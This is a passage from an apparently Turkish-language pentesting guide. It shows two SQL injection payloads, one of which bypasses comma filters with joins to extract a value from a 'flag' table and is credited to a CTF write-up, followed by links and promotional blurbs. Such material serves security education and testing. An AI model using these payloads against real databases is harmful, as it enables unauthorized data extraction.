-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Veya bir virgül atlatma kullanarak:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Bu hile https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ adresinden alınmıştır.

WAF bypass öneri araçları

Diğer Kılavuzlar

Brute-Force Algılama Listesi

​​​​​​​RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

Last updated